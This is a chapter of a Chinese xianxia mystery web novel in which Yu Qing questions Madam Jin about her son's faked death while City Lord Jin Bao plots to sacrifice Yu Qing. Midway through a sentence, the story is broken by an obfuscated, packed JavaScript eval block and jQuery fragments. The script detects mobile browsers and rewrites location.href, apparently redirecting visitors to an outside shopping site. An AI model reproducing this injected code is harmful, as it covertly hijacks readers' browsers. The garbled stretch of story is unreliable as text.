金夫人支起身，下意识向后挪了半步，长垂的袖口掩住了伤痕累累的手。她紧拧眉头，警惕地盯着来人，齿关“咯咯”作响，“……你来干什么？”


    郁青环视一圈，桌案面前的太师椅倒落在地、门板上粘着干涸的血渍，除此以外，博古架上的宝贝安放其上，书册和文房用具也在原位未动。再看金夫人，发髻散乱、侧脸上还有一片可疑的紫红印迹，手边有一摊像沙子一样的暗黄碎末，看起来像是某种金属的粉末。


    “金珠没死。”结合门上金宝留下的灵气，她大致能猜测到门里发生过怎样的一幕，对于眼前狼狈的金夫人，应该没有什么比直入主题更能让她宽慰稍许的事情了。


    郁青想了想，又补充道，“至少戴着覆面，葬入墓室的应该不是金珠 。”


    ***


    金宝没料到，那个贱人真的敢对他出手。她难道以为自己身后还有水府做依仗吗？放在20年前，他还未在沙城站稳脚跟，全凭水府遥遥相助的时候，他还会给她几分薄面。是而她不愿做的事，他也不勉强。


    是了，也就是因为他对她的纵容，才让金珠生得那样晚。以至于他发觉金珠身患绝症时，已来不及再生一个继承家业。


    若非如此，他也不用这般大费周章，也不用这般铤而走险。


    那小儿孟郁青含着金汤匙出生，少年狂妄自大，行事更是乖张。几次三番甩掉侍从、离开城主府不知道去了什么地方，突然出现在灵堂，差点摘掉尸体脸上玉覆面。


    虽然他早做好万全的准备，这些细枝末节的偏差无伤大雅，但超出掌控的无力感让他很不习惯，过往的经验告诉他，越是高楼，越是摇摇欲坠。


    他怀疑，自己会否做错了决定，但走到这一步，他已无退路。


    金宝摸了一把刚刚到手的辟寒犀，微微发烫的温感让他稍微定了定心。他在仙阙的好友已经办妥了他嘱咐的事，不出三天，让孟郁青前往水府幽城辅助搜查古仙遗蜕的调令就会送到。


    届时，他将献上辟寒犀，作为孟郁青上路的……随葬。


    他跨步向城东走去，沙城西枕沙山，东靠戈壁，当鼻尖萦绕着那股子挥之不去的硫磺味的时候，便是到了沙城矿脉。


    矿丁百二十人，抡着镐锛，拿着铁钎重锤“叮叮当当”地凿动戈壁表层的砾石。背矿夫扛着满载矿砂的荆条大筐，弯着腰背一步一步地挪到工棚边上，将矿砂交给手持木盘的淘金匠。


    这些淘金匠都是由金宝亲自督选出的个中好手。金宝家中做矿产生意，他耳濡目染，知道开采金矿，淘金这一步最易发生损耗，也最容易私人夹带，是而金宝给这些淘金匠最高的薪酬，也对他们施行最严格的看守和惩罚制度。


    “金城主 ！”刚筛完一批碎金，起身活动筋骨的淘金匠注意到了远远巡看的金宝，带动了一批人忙不迭地问好。


    金宝抬起手，和善地示意众人无需多礼，各自专心做活。


    矿主金荣得到了消息，松垮垮地穿着衣服从家中赶来，向金宝见礼。


    金宝上下扫了一眼自己的侄子，见他衣冠不整、眼下乌青、面色黯淡，身上还散发着黏腻腥膻的气味，冷哼一声，“你早晚要死在女人的臂弯里。”


    侄子表面上点头哈腰地认错，心中腹诽——白日才了了一桩大事准备放松片刻，晚上又不知道刮得哪阵风，把叔父这尊佛吹了过来，不由得暗自叫苦。


    叔侄二人走到了无人的背风处，双双住了脚步。


    金宝二话不说，上来先甩了侄子一巴掌，“我平时怎么教你的？为山九仞，功亏一篑！大事未竟，你倒是先庆功摆宴了？”


    侄子捂着脸哭叫一声，畏畏缩缩地跌跪在地，“叔、叔父教训地是。侄子驽钝，难堪大任。今晨看那尸体入了地宫，侄子一时松懈了，实在不该。”


    金宝乜斜一眼趴在地上成事不足败事有余的侄子，恨道，“小声些！还不快滚起来！让旁人瞧见了成何体统？”


    侄子双眼含泪，唯诺着应声，“叔父此来可有要事？侄子定当将功折罪。”


    “登仙一事先消停几日。”


    “啊？”侄子大惊失色，“那水府那边……？”


    “最近几月登仙越来越频繁，有多少金沙玉打点水府，又有多少揣进你自己的腰包，你不知道？”


    话音未落，侄子的泪水就珠子似的往下掉，像是追悔莫及。


    金宝冷眼看着他做戏，“你给珠儿找的那具替身，没被什么人觉察吧？”


    侄子抽噎拭泪的动作一顿，支支吾吾，“没、没有。”


    这些小动作逃不过金宝的眼睛，他登时胸口一沉、如坠谷底，“……那尸体是谁？”


    不消抬头，侄子也切切实实地感受到了金宝的怒气，不再矫饰卖弄。可怜兮兮的眼泪凝在脸上，不敢坠下，“是、就是您让我找的，身量、年岁都差不多的一个……一个凡人。”


    他揪住侄子的衣领，“说、实、话——”


    侄子两股战战，像要被叔父的双眼生生剐掉皮肉，“叔……城主、城主恕罪！小人先前确实费尽心力找到了一个与金珠公子各方面都相仿的，那替身是外地来寻亲的，和这矿中的一个矿丁是远房亲戚。这外地人没根底，想查都无从查起。为了保险，小人还以登仙为名把那矿丁夫妻二人都处理了！可没想到手下人看管不严，让替身给……逃了！”


    金宝骤然想起孟郁青在棺木前问的那一句没头没尾的话，浑身鸡皮耸立，“现在躺在棺材里的，是什么人？”


    “不、不知道……”


    “是什么人？！”


    侄子扑倒在地，四十多岁的人，把脑袋砸在地上磕得砰砰响，“小人真的不知啊！小人正要向您请罪，在公子院中撞见了一个小侍，身量、年岁和公子都差不多！小人也是一时情急，为了不耽误您的大计，就自作主张……”


    是阿海。


    金宝恍然。


    难怪孟郁青在灵堂前问及阿海。


    他当时全身心都在孟郁青是否会将死人脸上的覆面揭开，担心易容丹失效，让她看出破绽。见她并无此意，反倒是问一个不相干之人，还松了口气。


    金宝脖子上的青筋鼓起，他咬住牙，强迫自己冷静下来。


    “有其他人瞧见吗？”


    “小人绝不敢欺瞒！小人做得很隐秘，绝无可能被其他人发现！”


    ***


    金夫人再开口的时候，心情已经平复了几分。她像一尊皲裂的泥塑像，扑簌簌往下掉着灰，全凭一口气勉力支撑着躯壳。


    “你说珠儿还活着，那他现在何处？”


    郁青为她倒了一杯热茶，缓道，“莫急，我有几件事不明，你若愿意为我解惑，金珠下落自然明了。”


    金夫人双手捧着茶杯，试探着看向眼前这位沙城的不速之客，轻点了点头。


    “金珠的病症近来状况如何？”


    “……一日重过一日。卦师说若珠儿能熬过18岁，灵根残缺便有法可解。可最近几月，珠儿发病频繁，一天里大部分时间都在榻上痛苦辗转。”


    那扮作“嫣然”的人，虽有熟悉地形的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844199|191361||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    优势，但观其身手灵巧，步履矫健，不像是久病缠身之人。


    郁青又问，“你可留意过金珠身旁一位年龄相仿的小侍？”


    “你是说……阿海？”


    “对，阿海，他们二人一同长大，应该很了解彼此吧？”


    “嗯……阿海还在襁褓里就被卖进府中，珠儿待阿海像亲弟弟一般，平日形影不离。”


    “接风宴次日清晨，我差阿海去看金珠情况，你见到他了吗？”


    金夫人闻言脸色骤变，茶杯从手中滑落，滚烫的茶汤洒到绣鞋上也浑然不觉，“我刚赶到珠儿那里，当晚他就……他就在我的怀里……谁来了谁走了，我根本不记得”。她面色惨白，像是陷在可怕的回忆里，肢体末端不受控制的颤动着。


    郁青蹙眉。


    金珠死在接风宴当晚，阿海次日清晨在金珠院中失踪，戴着覆面以“金珠”之名下葬的，会不会就是阿海？


    若果真是阿海，这一出偷梁换柱是做给谁看的戏？扮成“嫣然”的人不是金珠又是谁？从她刚入沙城便开始设局，是何目的？


    “金珠颈间可有胎记？”


    金夫人还沉浸在丧子的回忆中惊颤不已，听闻郁青再度出言询问，下意识摇了摇头。


    ***


    金宝从矿上离开，眼皮跳个不停。


    从接到孟郁青将赴任沙城的消息开始，他便利用仙阙的人脉调查了她的背景。独子金珠的的病症一天天加重，再找不出解决办法，怕是真的要一命呜呼。他只好硬着头皮，打起了孟郁青灵根的主意。


    这么多年来，他请过无数神医，想过无数法子。金沙玉这起死回生的宝贝，他更是早早在金珠身上试过，可凡人制成的金沙玉力量低微，于事无补，便是修士金沙玉，也堪堪只能延缓发病。但若能让先天灵根的修士献祭成金沙玉，补足金珠灵根的先天病症……


    不过，若孟郁青明晃晃死在沙城、而他久病的独子病愈，定会遭人怀疑。


    金宝便设下一计，先让金珠假死，找一具身量相似的尸体，服下易容丹代金珠下葬。若一切顺利，三日后孟郁青接到仙阙调令，动身前往幽城仙蜕秘境之时，他便可寻机动手。


    两城之间路途遥远，难免出些意外，到时要怪也只能怪孟郁青时运不济、武艺不精，如何也查不到他头上。


    届时，金珠脱胎换骨，他也功德圆满。


    本以为此计天衣无缝，没料到出了“阿海”这么个岔子。


    孟郁青与阿海接触过，难保她没有发现躺在棺木中的尸体就是阿海。不管怎样，她当日问及此事，定是起了疑心。但具体的计划，只有天知地知，他在心中揣度，未与他人说起。就算是帮他办事的侄子金荣，一个酒囊饭袋，谅他也猜不到自己所思。那孟郁青纵然有所怀疑，也断然探问不到什么消息。


    只是……金荣那厮抓人做金沙玉的动作猖狂，近来蚁巢中竟有人公然拿金沙玉买卖。长此以往，若把他也牵连进去，以致与水府的交易败露，水府定会将罪责推到他一人身上，到时便是孟郁青不来查他，仙阙也会找他要个说法。


    日光直射，像要把大地蒸烤烹熟，而立在城中的金城主却浑身散发着阴阴寒气。


    他停步片刻，想起自己那位来自水府的娇夫人还锁在他的书房里，夫人骤失爱子，难免行为失当。


    他现在便亲身前去，冰释前嫌。


    可当他回到书房时，那门上留的灵气禁制却早已破开。


    金宝破门而入，只见夫人端坐堂前。


    “何人来过？！”